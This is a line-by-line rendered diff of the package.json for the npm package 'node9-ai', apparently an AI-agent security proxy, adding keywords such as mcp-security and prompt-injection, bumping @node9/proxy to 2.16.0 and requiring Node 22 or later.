"ai-security",
|
|
7
|
+
"agent-security",
|
|
8
|
+
"agentic-ai",
|
|
9
|
+
"ai-agent",
|
|
10
|
+
"iam",
|
|
11
|
+
"agent-permissions",
|
|
10
12
|
"mcp",
|
|
11
|
-
"
|
|
12
|
-
"
|
|
13
|
+
"mcp-security",
|
|
14
|
+
"mcp-proxy",
|
|
15
|
+
"claude-code",
|
|
16
|
+
"claude-desktop",
|
|
17
|
+
"codex",
|
|
18
|
+
"gemini-cli",
|
|
19
|
+
"copilot-cli",
|
|
20
|
+
"cursor",
|
|
21
|
+
"windsurf",
|
|
22
|
+
"vscode",
|
|
23
|
+
"opencode",
|
|
24
|
+
"pi-agent",
|
|
25
|
+
"hermes-agent",
|
|
26
|
+
"antigravity",
|
|
27
|
+
"security-proxy",
|
|
28
|
+
"dlp",
|
|
29
|
+
"prompt-injection",
|
|
30
|
+
"human-in-the-loop",
|
|
31
|
+
"hitl"
|
|
13
32
|
],
|
|
14
33
|
"homepage": "https://node9.ai",
|
|
15
34
|
"repository": {
|
|
@@ -25,10 +44,10 @@
|
|
|
25
44
|
"node9-ai": "bin/node9.js"
|
|
26
45
|
},
|
|
27
46
|
"dependencies": {
|
|
28
|
-
"@node9/proxy": "2.
|
|
47
|
+
"@node9/proxy": "2.16.0"
|
|
29
48
|
},
|
|
30
49
|
"type": "module",
|
|
31
50
|
"engines": {
|
|
32
|
-
"node": ">=
|
|
51
|
+
"node": ">=22"
|
|
33
52
|
}
|
|
34
53
|
}
|